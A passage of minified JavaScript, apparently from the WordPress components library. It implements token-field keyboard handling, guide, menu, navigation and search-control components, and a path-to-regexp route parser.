t=e.value,n=_?/[ ,\t]+/:/[,\t]+/,r=t.split(n),o=r[r.length-1]||"";r.length>1&&se(r.slice(0,-1)),A(o),b(o)}function ne(e){let t=!1;return Z()&&pe()&&(e(),t=!0),t}function re(){const e=de()-1;e>-1&&le(h[e])}function oe(){const e=de();e<h.length&&(le(h[e]),function(e){z(h.length-Math.max(e,-1)-1)}(e))}function ie(){let e=!1;const t=function(){if(-1!==V)return ue()[V];return}();return t?(ae(t),e=!0):fe()&&(ae(M),e=!0),e}function se(e){const t=[...new Set(e.map(g).filter(Boolean).filter((e=>!function(e){return h.some((t=>ce(e)===ce(t)))}(e))))];if(t.length>0){const e=[...h];e.splice(de(),0,...t),v(e)}}function ae(e){j(e)?(se([e]),(0,jy.speak)(S.added,"assertive"),A(""),$(-1),W(!1),B(!k),O&&!I&&X()):(0,jy.speak)(S.__experimentalInvalid,"assertive")}function le(e){const t=h.filter((t=>ce(t)!==ce(e)));v(t),(0,jy.speak)(S.removed,"assertive")}function ce(e){return"object"==typeof e?e.value:e}function ue(e=M,t=p,n=h,r=f,o=g){let i=o(e);const s=[],a=[],l=n.map((e=>"string"==typeof e?e:e.value));return 0===i.length?t=t.filter((e=>!l.includes(e))):(i=i.toLocaleLowerCase(),t.forEach((e=>{const t=e.toLocaleLowerCase().indexOf(i);-1===l.indexOf(e)&&(0===t?s.push(e):t>0&&a.push(e))})),t=s.concat(a)),t.slice(0,r)}function de(){return h.length-D}function pe(){return 0===M.length}function fe(){return g(M).length>0}function he(e=!0){const t=M.trim().length>1,n=ue(M),r=n.length>0,o=Z()&&k;if(B(o||t&&r),e&&(N&&t&&r?($(0),W(!0)):($(-1),W(!1))),t){const e=r?(0,a.sprintf)((0,a._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",n.length),n.length):(0,a.__)("No results.");Y(e,"assertive")}}function me(e,t,n){const r=ce(e),o="string"!=typeof e?e.status:void 0,i=t+1,s=n.length;return(0,_t.jsx)(Fg,{children:(0,_t.jsx)(lD,{value:r,status:o,title:"string"!=typeof e?e.title:void 0,displayTransform:m,onClickRemove:ee,isBorderless:"string"!=typeof e&&e.isBorderless||y,onMouseEnter:"string"!=typeof e?e.onMouseEnter:void 0,onMouseLeave:"string"!=typeof e?e.onMouseLeave:void 0,disabled:"error"!==o&&w,messages:S,termsCount:s,termPosition:i})},"token-"+r)}(0,c.useEffect)((()=>{O&&!Z()&&X()}),[O]),(0,c.useEffect)((()=>{const e=!pw()(p,U||[]);(e||h!==G)&&he(e)}),[p,U,h,G]),(0,c.useEffect)((()=>{he()}),[M]),(0,c.useEffect)((()=>{he()}),[N]),w&&O&&(L(!1),A(""));const ge=s(d,"components-form-token-field__input-container",{"is-active":O,"is-disabled":w});let ve={className:"components-form-token-field",tabIndex:-1};const be=ue();return w||(ve=Object.assign({},ve,{onKeyDown:jx((function(e){let t=!1;if(!e.defaultPrevented){switch(e.key){case"Backspace":t=ne(re);break;case"Enter":t=ie();break;case"ArrowLeft":t=function(){let e=!1;return pe()&&(z((e=>Math.min(e+1,h.length))),e=!0),e}();break;case"ArrowUp":$((e=>(0===e?ue(M,p,h,f,g).length:e)-1)),W(!0),t=!0;break;case"ArrowRight":t=function(){let e=!1;return pe()&&(z((e=>Math.max(e-1,0))),e=!0),e}();break;case"ArrowDown":$((e=>(e+1)%ue(M,p,h,f,g).length)),W(!0),t=!0;break;case"Delete":t=ne(oe);break;case"Space":_&&(t=ie());break;case"Escape":t=function(e){return e.target instanceof HTMLInputElement&&(A(e.target.value),B(!1),$(-1),W(!1)),!0}(e)}t&&e.preventDefault()}})),onKeyPress:function(e){let t=!1;","===e.key&&(fe()&&ae(M),t=!0);t&&e.preventDefault()},onFocus:function(e){Z()||e.target===q.current?(L(!0),B(k||F)):L(!1),"function"==typeof x&&x(e)}})),(0,_t.jsxs)("div",{...ve,children:[u&&(0,_t.jsx)(Ox,{htmlFor:`components-form-token-input-${R}`,className:"components-form-token-field__label",children:u}),(0,_t.jsxs)("div",{ref:q,className:ge,tabIndex:-1,onMouseDown:J,onTouchStart:J,children:[(0,_t.jsx)(uD,{justify:"flex-start",align:"center",gap:1,wrap:!0,__next40pxDefaultSize:P,hasTokens:!!h.length,children:function(){const e=h.map(me);return e.splice(de(),0,function(){const e={instanceId:R,autoCapitalize:n,autoComplete:r,placeholder:0===h.length?i:"",disabled:w,value:M,onBlur:Q,isExpanded:F,selectedSuggestionIndex:V};return(0,_t.jsx)(YN,{...e,onChange:o&&h.length>=o?void 0:te,ref:K},"input")}()),e}()}),F&&(0,_t.jsx)(ZN,{instanceId:R,match:g(M),displayTransform:m,suggestions:be,selectedIndex:V,scrollIntoView:H,onHover:function(e){const t=ue().indexOf(e);t>=0&&($(t),W(!1))},onSelect:function(e){ae(e)},__experimentalRenderItem:C})]}),!T&&(0,_t.jsx)(zg,{marginBottom:2}),E&&(0,_t.jsx)(Bx,{id:`components-form-token-suggestions-howto-${R}`,className:"components-form-token-field__help",__nextHasNoMarginBottom:T,children:_?(0,a.__)("Separate with commas, spaces, or the Enter key."):(0,a.__)("Separate with commas or the Enter key.")})]})},fD=()=>(0,_t.jsx)(n.SVG,{width:"8",height:"8",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Circle,{cx:"4",cy:"4",r:"4"})});function hD({currentPage:e,numberOfPages:t,setCurrentPage:n}){return(0,_t.jsx)("ul",{className:"components-guide__page-control","aria-label":(0,a.__)("Guide controls"),children:Array.from({length:t}).map(((r,o)=>(0,_t.jsx)("li",{"aria-current":o===e?"step":void 0,children:(0,_t.jsx)(Jx,{size:"small",icon:(0,_t.jsx)(fD,{}),"aria-label":(0,a.sprintf)((0,a.__)("Page %1$d of %2$d"),o+1,t),onClick:()=>n(o)},o)},o)))})}const mD=function({children:e,className:t,contentLabel:n,finishButtonText:r=(0,a.__)("Finish"),onFinish:o,pages:i=[]}){const l=(0,c.useRef)(null),[u,d]=(0,c.useState)(0);var p;(0,c.useEffect)((()=>{const e=l.current?.querySelector(".components-guide");e instanceof HTMLElement&&e.focus()}),[u]),(0,c.useEffect)((()=>{c.Children.count(e)&&Xi()("Passing children to <Guide>",{since:"5.5",alternative:"the `pages` prop"})}),[e]),c.Children.count(e)&&(i=null!==(p=c.Children.map(e,(e=>({content:e}))))&&void 0!==p?p:[]);const f=u>0,h=u<i.length-1,m=()=>{f&&d(u-1)},g=()=>{h&&d(u+1)};return 0===i.length?null:(0,_t.jsx)(kT,{className:s("components-guide",t),contentLabel:n,isDismissible:i.length>1,onRequestClose:o,onKeyDown:e=>{"ArrowLeft"===e.code?(m(),e.preventDefault()):"ArrowRight"===e.code&&(g(),e.preventDefault())},ref:l,children:(0,_t.jsxs)("div",{className:"components-guide__container",children:[(0,_t.jsxs)("div",{className:"components-guide__page",children:[i[u].image,i.length>1&&(0,_t.jsx)(hD,{currentPage:u,numberOfPages:i.length,setCurrentPage:d}),i[u].content]}),(0,_t.jsxs)("div",{className:"components-guide__footer",children:[f&&(0,_t.jsx)(Jx,{className:"components-guide__back-button",variant:"tertiary",onClick:m,__next40pxDefaultSize:!0,children:(0,a.__)("Previous")}),h&&(0,_t.jsx)(Jx,{className:"components-guide__forward-button",variant:"primary",onClick:g,__next40pxDefaultSize:!0,children:(0,a.__)("Next")}),!h&&(0,_t.jsx)(Jx,{className:"components-guide__finish-button",variant:"primary",onClick:o,__next40pxDefaultSize:!0,children:r})]})]})})};function gD(e){return(0,c.useEffect)((()=>{Xi()("<GuidePage>",{since:"5.5",alternative:"the `pages` prop in <Guide>"})}),[]),(0,_t.jsx)("div",{...e})}const vD=(0,c.forwardRef)((function({label:e,labelPosition:t,size:n,tooltip:r,...o},i){return Xi()("wp.components.IconButton",{since:"5.4",alternative:"wp.components.Button",version:"6.2"}),(0,_t.jsx)(Jx,{...o,ref:i,tooltipPosition:t,iconSize:n,showTooltip:void 0!==r?!!r:void 0,label:r||e})}));function bD({target:e,callback:t,shortcut:n,bindGlobal:r,eventName:o}){return(0,l.useKeyboardShortcut)(n,t,{bindGlobal:r,target:e,eventName:o}),null}const xD=function({children:e,shortcuts:t,bindGlobal:n,eventName:r}){const o=(0,c.useRef)(null),i=Object.entries(null!=t?t:{}).map((([e,t])=>(0,_t.jsx)(bD,{shortcut:e,callback:t,bindGlobal:n,eventName:r,target:o},e)));return c.Children.count(e)?(0,_t.jsxs)("div",{ref:o,children:[i,e]}):(0,_t.jsx)(_t.Fragment,{children:i})};const yD=function e(t){const{children:n,className:r="",label:o,hideSeparator:i}=t,a=(0,l.useInstanceId)(e);if(!c.Children.count(n))return null;const u=`components-menu-group-label-${a}`,d=s(r,"components-menu-group",{"has-hidden-separator":i});return(0,_t.jsxs)("div",{className:d,children:[o&&(0,_t.jsx)("div",{className:"components-menu-group__label",id:u,"aria-hidden":"true",children:o}),(0,_t.jsx)("div",{role:"group","aria-labelledby":o?u:void 0,children:n})]})};const wD=(0,c.forwardRef)((function(e,t){let{children:n,info:r,className:o,icon:i,iconPosition:a="right",shortcut:l,isSelected:u,role:d="menuitem",suffix:p,...f}=e;return o=s("components-menu-item__button",o),r&&(n=(0,_t.jsxs)("span",{className:"components-menu-item__info-wrapper",children:[(0,_t.jsx)("span",{className:"components-menu-item__item",children:n}),(0,_t.jsx)("span",{className:"components-menu-item__info",children:r})]})),i&&"string"!=typeof i&&(i=(0,c.cloneElement)(i,{className:s("components-menu-items__item-icon",{"has-icon-right":"right"===a})})),(0,_t.jsxs)(Jx,{__next40pxDefaultSize:!0,ref:t,"aria-checked":"menuitemcheckbox"===d||"menuitemradio"===d?u:void 0,role:d,icon:"left"===a?i:void 0,className:o,...f,children:[(0,_t.jsx)("span",{className:"components-menu-item__item",children:n}),!p&&(0,_t.jsx)(Zi,{className:"components-menu-item__shortcut",shortcut:l}),!p&&i&&"right"===a&&(0,_t.jsx)(Xx,{icon:i}),p]})})),_D=wD,SD=()=>{};const CD=function({choices:e=[],onHover:t=SD,onSelect:n,value:r}){return(0,_t.jsx)(_t.Fragment,{children:e.map((e=>{const o=r===e.value;return(0,_t.jsx)(_D,{role:"menuitemradio",disabled:e.disabled,icon:o?ok:null,info:e.info,isSelected:o,shortcut:e.shortcut,className:"components-menu-items-choice",onClick:()=>{o||n(e.value)},onMouseEnter:()=>t(e.value),onMouseLeave:()=>t(null),"aria-label":e["aria-label"],children:e.label},e.value)}))})};const kD=(0,c.forwardRef)((function({eventToOffset:e,...t},n){return(0,_t.jsx)(SN,{ref:n,stopNavigationEvents:!0,onlyBrowserTabstops:!0,eventToOffset:t=>{const{code:n,shiftKey:r}=t;return"Tab"===n?r?-1:1:e?e(t):void 0},...t})})),jD="root",ED=()=>{},PD=()=>{},ND=(0,c.createContext)({activeItem:void 0,activeMenu:jD,setActiveMenu:ED,navigationTree:{items:{},getItem:PD,addItem:ED,removeItem:ED,menus:{},getMenu:PD,addMenu:ED,removeMenu:ED,childMenu:{},traverseMenu:ED,isMenuEmpty:()=>!1}}),TD=()=>(0,c.useContext)(ND);const ID=yl("div",{target:"eeiismy11"})("width:100%;box-sizing:border-box;padding:0 ",Il(4),";overflow:hidden;"),RD=yl("div",{target:"eeiismy10"})("margin-top:",Il(6),";margin-bottom:",Il(6),";display:flex;flex-direction:column;ul{padding:0;margin:0;list-style:none;}.components-navigation__back-button{margin-bottom:",Il(6),";}.components-navigation__group+.components-navigation__group{margin-top:",Il(6),";}"),MD=yl(Jx,{target:"eeiismy9"})({name:"26l0q2",styles:"&.is-tertiary{color:inherit;opacity:0.7;&:hover:not( :disabled ){opacity:1;box-shadow:none;color:inherit;}&:active:not( :disabled ){background:transparent;opacity:1;color:inherit;}}"}),AD=yl("div",{target:"eeiismy8"})({name:"1aubja5",styles:"overflow:hidden;width:100%"}),DD=yl("div",{target:"eeiismy7"})({name:"rgorny",styles:"margin:11px 0;padding:1px"}),zD=yl("span",{target:"eeiismy6"})("height:",Il(6),";.components-button.is-small{color:inherit;opacity:0.7;margin-right:",Il(1),";padding:0;&:active:not( :disabled ){background:none;opacity:1;color:inherit;}&:hover:not( :disabled ){box-shadow:none;opacity:1;color:inherit;}}"),OD=yl(mk,{target:"eeiismy5"})("min-height:",Il(12),";align-items:center;color:inherit;display:flex;justify-content:space-between;margin-bottom:",Il(2),";padding:",(()=>(0,a.isRTL)()?`${Il(1)} ${Il(4)} ${Il(1)} ${Il(2)}`:`${Il(1)} ${Il(2)} ${Il(1)} ${Il(4)}`),";"),LD=yl("li",{target:"eeiismy4"})("border-radius:",Fl.radiusSmall,";color:inherit;margin-bottom:0;>button,>a.components-button,>a{width:100%;color:inherit;opacity:0.7;padding:",Il(2)," ",Il(4),";",Mg({textAlign:"left"},{textAlign:"right"})," &:hover,&:focus:not( [aria-disabled='true'] ):active,&:active:not( [aria-disabled='true'] ):active{color:inherit;opacity:1;}}&.is-active{background-color:",zl.theme.accent,";color:",zl.theme.accentInverted,";>button,.components-button:hover,>a{color:",zl.theme.accentInverted,";opacity:1;}}>svg path{color:",zl.gray[600],";}"),FD=yl("div",{target:"eeiismy3"})("display:flex;align-items:center;height:auto;min-height:40px;margin:0;padding:",Il(1.5)," ",Il(4),";font-weight:400;line-height:20px;width:100%;color:inherit;opacity:0.7;"),BD=yl("span",{target:"eeiismy2"})("display:flex;margin-right:",Il(2),";"),VD=yl("span",{target:"eeiismy1"})("margin-left:",(()=>(0,a.isRTL)()?"0":Il(2)),";margin-right:",(()=>(0,a.isRTL)()?Il(2):"0"),";display:inline-flex;padding:",Il(1)," ",Il(3),";border-radius:",Fl.radiusSmall,";@keyframes fade-in{from{opacity:0;}to{opacity:1;}}@media not ( prefers-reduced-motion ){animation:fade-in 250ms ease-out;}"),$D=yl($v,{target:"eeiismy0"})((()=>(0,a.isRTL)()?"margin-left: auto;":"margin-right: auto;")," font-size:14px;line-height:20px;color:inherit;");function HD(){const[e,t]=(0,c.useState)({});return{nodes:e,getNode:t=>e[t],addNode:(e,n)=>{const{children:r,...o}=n;return t((t=>({...t,[e]:o})))},removeNode:e=>t((t=>{const{[e]:n,...r}=t;return r}))}}const WD=()=>{};const UD=function({activeItem:e,activeMenu:t=jD,children:n,className:r,onActivateMenu:o=WD}){const[i,l]=(0,c.useState)(t),[u,d]=(0,c.useState)(),p=(()=>{const{nodes:e,getNode:t,addNode:n,removeNode:r}=HD(),{nodes:o,getNode:i,addNode:s,removeNode:a}=HD(),[l,u]=(0,c.useState)({}),d=e=>l[e]||[],p=(e,t)=>{const n=[];let r,o=[e];for(;o.length>0&&(r=i(o.shift()),!r||n.includes(r.menu)||(n.push(r.menu),o=[...o,...d(r.menu)],!1!==t(r))););};return{items:e,getItem:t,addItem:n,removeItem:r,menus:o,getMenu:i,addMenu:(e,t)=>{u((n=>{const r={...n};return t.parentMenu?(r[t.parentMenu]||(r[t.parentMenu]=[]),r[t.parentMenu].push(e),r):r})),s(e,t)},removeMenu:a,childMenu:l,traverseMenu:p,isMenuEmpty:e=>{let t=!0;return p(e,(e=>{if(!e.isEmpty)return t=!1,!1})),t}}})(),f=(0,a.isRTL)()?"right":"left";Xi()("wp.components.Navigation (and all subcomponents)",{since:"6.8",version:"7.1",alternative:"wp.components.Navigator"});const h=(e,t=f)=>{p.getMenu(e)&&(d(t),l(e),o(e))},m=(0,c.useRef)(!1);(0,c.useEffect)((()=>{m.current||(m.current=!0)}),[]),(0,c.useEffect)((()=>{t!==i&&h(t)}),[t]);const g={activeItem:e,activeMenu:i,setActiveMenu:h,navigationTree:p},v=s("components-navigation",r),b=Zl({type:"slide-in",origin:u});return(0,_t.jsx)(ID,{className:v,children:(0,_t.jsx)("div",{className:b?s({[b]:m.current&&u}):void 0,children:(0,_t.jsx)(ND.Provider,{value:g,children:n})},i)})},GD=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})}),KD=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})});const qD=(0,c.forwardRef)((function({backButtonLabel:e,className:t,href:n,onClick:r,parentMenu:o},i){const{setActiveMenu:l,navigationTree:c}=TD(),u=s("components-navigation__back-button",t),d=void 0!==o?c.getMenu(o)?.title:void 0,p=(0,a.isRTL)()?GD:KD;return(0,_t.jsxs)(MD,{__next40pxDefaultSize:!0,className:u,href:n,variant:"tertiary",ref:i,onClick:e=>{"function"==typeof r&&r(e);const t=(0,a.isRTL)()?"left":"right";o&&!e.defaultPrevented&&l(o,t)},children:[(0,_t.jsx)(oS,{icon:p}),e||d||(0,a.__)("Back")]})})),YD=qD,XD=(0,c.createContext)({group:void 0});let ZD=0;const QD=function({children:e,className:t,title:n}){const[r]=(0,c.useState)("group-"+ ++ZD),{navigationTree:{items:o}}=TD(),i={group:r};if(!Object.values(o).some((e=>e.group===r&&e._isVisible)))return(0,_t.jsx)(XD.Provider,{value:i,children:e});const a=`components-navigation__group-title-${r}`,l=s("components-navigation__group",t);return(0,_t.jsx)(XD.Provider,{value:i,children:(0,_t.jsxs)("li",{className:l,children:[n&&(0,_t.jsx)(OD,{className:"components-navigation__group-title",id:a,level:3,children:n}),(0,_t.jsx)("ul",{"aria-labelledby":a,role:"group",children:e})]})})};function JD(e){const{badge:t,title:n}=e;return(0,_t.jsxs)(_t.Fragment,{children:[n&&(0,_t.jsx)($D,{className:"components-navigation__item-title",as:"span",children:n}),t&&(0,_t.jsx)(VD,{className:"components-navigation__item-badge",children:t})]})}const ez=(0,c.createContext)({menu:void 0,search:""}),tz=()=>(0,c.useContext)(ez),nz=e=>Cy()(e).replace(/^\//,"").toLowerCase(),rz=(e,t)=>{const{activeMenu:n,navigationTree:{addItem:r,removeItem:o}}=TD(),{group:i}=(0,c.useContext)(XD),{menu:s,search:a}=tz();(0,c.useEffect)((()=>{const l=n===s,c=!a||void 0!==t.title&&((e,t)=>-1!==nz(e).indexOf(nz(t)))(t.title,a);return r(e,{...t,group:i,menu:s,_isVisible:l&&c}),()=>{o(e)}}),[n,a])};let oz=0;function iz(e){const{children:t,className:n,title:r,href:o,...i}=e,[a]=(0,c.useState)("item-"+ ++oz);rz(a,e);const{navigationTree:l}=TD();if(!l.getItem(a)?._isVisible)return null;const u=s("components-navigation__item",n);return(0,_t.jsx)(LD,{className:u,...i,children:t})}const sz=()=>{};const az=function(e){const{badge:t,children:n,className:r,href:o,item:i,navigateToMenu:l,onClick:c=sz,title:u,icon:d,hideIfTargetMenuEmpty:p,isText:f,...h}=e,{activeItem:m,setActiveMenu:g,navigationTree:{isMenuEmpty:v}}=TD();if(p&&l&&v(l))return null;const b=i&&m===i,x=s(r,{"is-active":b}),y=(0,a.isRTL)()?KD:GD,w=n?e:{...e,onClick:void 0},_=f?h:{as:Jx,__next40pxDefaultSize:!("as"in h)||void 0===h.as,href:o,onClick:e=>{l&&g(l),c(e)},"aria-current":b?"page":void 0,...h};return(0,_t.jsx)(iz,{...w,className:x,children:n||(0,_t.jsxs)(FD,{..._,children:[d&&(0,_t.jsx)(BD,{children:(0,_t.jsx)(oS,{icon:d})}),(0,_t.jsx)(JD,{title:u,badge:t}),l&&(0,_t.jsx)(oS,{icon:y})]})})},lz=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})}),cz=(0,l.createHigherOrderComponent)((e=>t=>(0,_t.jsx)(e,{...t,speak:jy.speak,debouncedSpeak:(0,l.useDebounce)(jy.speak,500)})),"withSpokenMessages"),uz=({size:e})=>Il("compact"===e?1:2),dz=yl("div",{target:"effl84m1"})("display:flex;padding-inline-end:",uz,";svg{fill:currentColor;}"),pz=yl(qx,{target:"effl84m0"})("input[type='search']{&::-webkit-search-decoration,&::-webkit-search-cancel-button,&::-webkit-search-results-button,&::-webkit-search-results-decoration{-webkit-appearance:none;}}&:not( :focus-within ){--wp-components-color-background:",zl.theme.gray[100],";}");function fz({searchRef:e,value:t,onChange:n,onClose:r}){if(!r&&!t)return(0,_t.jsx)(oS,{icon:lz});r&&Xi()("`onClose` prop in wp.components.SearchControl",{since:"6.8"});return(0,_t.jsx)(Jx,{size:"small",icon:UN,label:r?(0,a.__)("Close search"):(0,a.__)("Reset search"),onClick:null!=r?r:()=>{n(""),e.current?.focus()}})}const hz=(0,c.forwardRef)((function({__nextHasNoMarginBottom:e=!1,className:t,onChange:n,value:r,label:o=(0,a.__)("Search"),placeholder:i=(0,a.__)("Search"),hideLabelFromVision:u=!0,onClose:d,size:p="default",...f},h){const{disabled:m,...g}=f,v=(0,c.useRef)(null),b=(0,l.useInstanceId)(hz,"components-search-control"),x=(0,c.useMemo)((()=>({BaseControl:{_overrides:{__nextHasNoMarginBottom:e},__associatedWPComponentName:"SearchControl"},InputBase:{isBorderless:!0}})),[e]);return(0,_t.jsx)(gs,{value:x,children:(0,_t.jsx)(pz,{__next40pxDefaultSize:!0,id:b,hideLabelFromVision:u,label:o,ref:(0,l.useMergeRefs)([v,h]),type:"search",size:p,className:s("components-search-control",t),onChange:e=>n(null!=e?e:""),autoComplete:"off",placeholder:i,value:null!=r?r:"",suffix:(0,_t.jsx)(dz,{size:p,children:(0,_t.jsx)(fz,{searchRef:v,value:r,onChange:n,onClose:d})}),...g})})})),mz=hz;const gz=cz((function({debouncedSpeak:e,onCloseSearch:t,onSearch:n,search:r,title:o}){const{navigationTree:{items:i}}=TD(),{menu:s}=tz(),l=(0,c.useRef)(null);(0,c.useEffect)((()=>{const e=setTimeout((()=>{l.current?.focus()}),100);return()=>{clearTimeout(e)}}),[]),(0,c.useEffect)((()=>{if(!r)return;const t=Object.values(i).filter((e=>e._isVisible)).length,n=(0,a.sprintf)((0,a._n)("%d result found.","%d results found.",t),t);e(n)}),[i,r]);const u=()=>{n?.(""),t()},d=`components-navigation__menu-title-search-${s}`,p=(0,a.sprintf)((0,a.__)("Search %s"),o?.toLowerCase()).trim();return(0,_t.jsx)(DD,{children:(0,_t.jsx)(mz,{__nextHasNoMarginBottom:!0,className:"components-navigation__menu-search-input",id:d,onChange:e=>n?.(e),onKeyDown:e=>{"Escape"!==e.code||e.defaultPrevented||(e.preventDefault(),u())},placeholder:p,onClose:u,ref:l,value:r})})}));function vz({hasSearch:e,onSearch:t,search:n,title:r,titleAction:o}){const[i,s]=(0,c.useState)(!1),{menu:l}=tz(),u=(0,c.useRef)(null);if(!r)return null;const d=`components-navigation__menu-title-${l}`,p=(0,a.sprintf)((0,a.__)("Search in %s"),r);return(0,_t.jsxs)(AD,{className:"components-navigation__menu-title",children:[!i&&(0,_t.jsxs)(OD,{as:"h2",className:"components-navigation__menu-title-heading",level:3,children:[(0,_t.jsx)("span",{id:d,children:r}),(e||o)&&(0,_t.jsxs)(zD,{children:[o,e&&(0,_t.jsx)(Jx,{size:"small",variant:"tertiary",label:p,onClick:()=>s(!0),ref:u,children:(0,_t.jsx)(oS,{icon:lz})})]})]}),i&&(0,_t.jsx)("div",{className:Zl({type:"slide-in",origin:"left"}),children:(0,_t.jsx)(gz,{onCloseSearch:()=>{s(!1),setTimeout((()=>{u.current?.focus()}),100)},onSearch:t,search:n,title:r})})]})}function bz({search:e}){const{navigationTree:{items:t}}=TD(),n=Object.values(t).filter((e=>e._isVisible)).length;return!e||n?null:(0,_t.jsx)(LD,{children:(0,_t.jsxs)(FD,{children:[(0,a.__)("No results found.")," "]})})}const xz=function(e){const{backButtonLabel:t,children:n,className:r,hasSearch:o,menu:i=jD,onBackButtonClick:a,onSearch:l,parentMenu:u,search:d,isSearchDebouncing:p,title:f,titleAction:h}=e,[m,g]=(0,c.useState)("");(e=>{const{navigationTree:{addMenu:t,removeMenu:n}}=TD(),r=e.menu||jD;(0,c.useEffect)((()=>(t(r,{...e,menu:r}),()=>{n(r)})),[])})(e);const{activeMenu:v}=TD(),b={menu:i,search:m};if(v!==i)return(0,_t.jsx)(ez.Provider,{value:b,children:n});const x=!!l,y=x?d:m,w=x?l:g,_=`components-navigation__menu-title-${i}`,S=s("components-navigation__menu",r);return(0,_t.jsx)(ez.Provider,{value:b,children:(0,_t.jsxs)(RD,{className:S,children:[(u||a)&&(0,_t.jsx)(YD,{backButtonLabel:t,parentMenu:u,onClick:a}),f&&(0,_t.jsx)(vz,{hasSearch:o,onSearch:w,search:y,title:f,titleAction:h}),(0,_t.jsx)(kN,{children:(0,_t.jsxs)("ul",{"aria-labelledby":_,children:[n,y&&!p&&(0,_t.jsx)(bz,{search:y})]})})]})})};function yz(e,t){void 0===t&&(t={});for(var n=function(e){for(var t=[],n=0;n<e.length;){var r=e[n];if("*"!==r&&"+"!==r&&"?"!==r)if("\\"!==r)if("{"!==r)if("}"!==r)if(":"!==r)if("("!==r)t.push({type:"CHAR",index:n,value:e[n++]});else{var o=1,i="";if("?"===e[a=n+1])throw new TypeError('Pattern cannot start with "?" at '.concat(a));for(;a<e.length;)if("\\"!==e[a]){if(")"===e[a]){if(0==--o){a++;break}}else if("("===e[a]&&(o++,"?"!==e[a+1]))throw new TypeError("Capturing groups are not allowed at ".concat(a));i+=e[a++]}else i+=e[a++]+e[a++];if(o)throw new TypeError("Unbalanced pattern at ".concat(n));if(!i)throw new TypeError("Missing pattern at ".concat(n));t.push({type:"PATTERN",index:n,value:i}),n=a}else{for(var s="",a=n+1;a<e.length;){var l=e.charCodeAt(a);if(!(l>=48&&l<=57||l>=65&&l<=90||l>=97&&l<=122||95===l))break;s+=e[a++]}if(!s)throw new TypeError("Missing parameter name at ".concat(n));t.push({type:"NAME",index:n,value:s}),n=a}else t.push({type:"CLOSE",index:n,value:e[n++]});else t.push({type:"OPEN",index:n,value:e[n++]});else t.push({type:"ESCAPED_CHAR",index:n++,value:e[n++]});else t.push({type:"MODIFIER",index:n,value:e[n++]})}return t.push({type:"END",index:n,value:""}),t}(e),r=t.prefixes,o=void 0===r?"./":r,i=t.delimiter,s=void 0===i?"/#?":i,a=[],l=0,c=0,u="",d=function(e){if(c<n.length&&n[c].type===e)return n[c++].value},p=function(e){var t=d(e);if(void 0!==t)return t;var r=n[c],o=r.type,i=r.index;throw new TypeError("Unexpected ".concat(o," at ").concat(i,", expected ").concat(e))},f=function(){for(var e,t="";e=d("CHAR")||d("ESCAPED_CHAR");)t+=e;return t},h=function(e){var t=a[a.length-1],n=e||(t&&"string"==typeof t?t:"");if(t&&!n)throw new TypeError('Must have text between two parameters, missing text after "'.concat(t.name,'"'));return!n||function(e){for(var t=0,n=s;t<n.length;t++){var r=n[t];if(e.indexOf(r)>-1)return!0}return!1}(n)?"[^".concat(_z(s),"]+?"):"(?:(?!".concat(_z(n),")[^").concat(_z(s),"])+?")};c<n.length;){var m=d("CHAR"),g=d("NAME"),v=d("PATTERN");if(g||v){var b=m||"";-1===o.indexOf(b)&&(u+=b,b=""),u&&(a.push(u),u=""),a.push({name:g||l++,prefix:b,suffix:"",pattern:v||h(b),modifier:d("MODIFIER")||""})}else{var x=m||d("ESCAPED_CHAR");if(x)u+=x;else if(u&&(a.push(u),u=""),d("OPEN")){b=f();var y=d("NAME")||"",w=d("PATTERN")||"",_=f();p("CLOSE"),a.push({name:y||(w?l++:""),pattern:y&&!w?h(b):w,prefix:b,suffix:_,modifier:d("MODIFIER")||""})}else p("END")}}return a}function wz(e,t){var n=[];return function(e,t,n){void 0===n&&(n={});var r=n.decode,o=void 0===r?function(e){return e}:r;return function(n){var r=e.exec(n);if(!r)return!1;for(var i=r[0],s=r.index,a=Object.create(null),l=function(e){if(void 0===r[e])return"continue";var n=t[e-1];"*"===n.modifier||"+"===n.modifier?a[n.name]=r[e].split(n.prefix+n.suffix).map((function(e){return o(e,n)})):a[n.name]=o(r[e],n)},c=1;c<r.length;c++)l(c);return{path:i,index:s,params:a}}}(kz(e,n,t),n,t)}function _z(e){return e.replace(/([.+*?=^!:${}()[\]|/\\])/g,"\\$1")}function Sz(e){return e&&e.sensitive?"":"i"}function Cz(e,t,n){return function(e,t,n){void 0===n&&(n={});for(var r=n.strict,o=void 0!==r&&r,i=n.start,s=void 0===i||i,a=n.end,l=void 0===a||a,c=n.encode,u=void 0===c?function(e){return e}:c,d=n.delimiter,p=void 0===d?"/#?":d,f=n.endsWith,h="[".concat(_z(void 0===f?"":f),"]|$"),m="[".concat(_z(p),"]"),g=s?"^":"",v=0,b=e;v<b.length;v++){var x=b[v];if("string"==typeof x)g+=_z(u(x));else{var y=_z(u(x.prefix)),w=_z(u(x.suffix));if(x.pattern)if(t&&t.push(x),y||w)if("+"===x.modifier||"*"===x.modifier){var _="*"===x.modifier?"?":"";g+="(?:".concat(y,"((?:").concat(x.pattern,")(?:").concat(w).concat(y,"(?:").concat(x.pattern,"))*)").concat(w,")").concat(_)}else g+="(?:".concat(y,"(").concat(x.pattern,")").concat(w,")").concat(x.modifier);else{if("+"===x.modifier||"*"===x.modifier)throw new TypeError('Can not repeat "'.concat(x.name,'" without a prefix and suffix'));g+="(".concat(x.pattern,")").concat(x.modifier)}else g+="(?:".concat(y).concat(w,")").concat(x.modifier)}}if(l)o||(g+="".concat(m,"?")),g+=n.endsWith?"(?=".concat(h,")"):"$";else{var 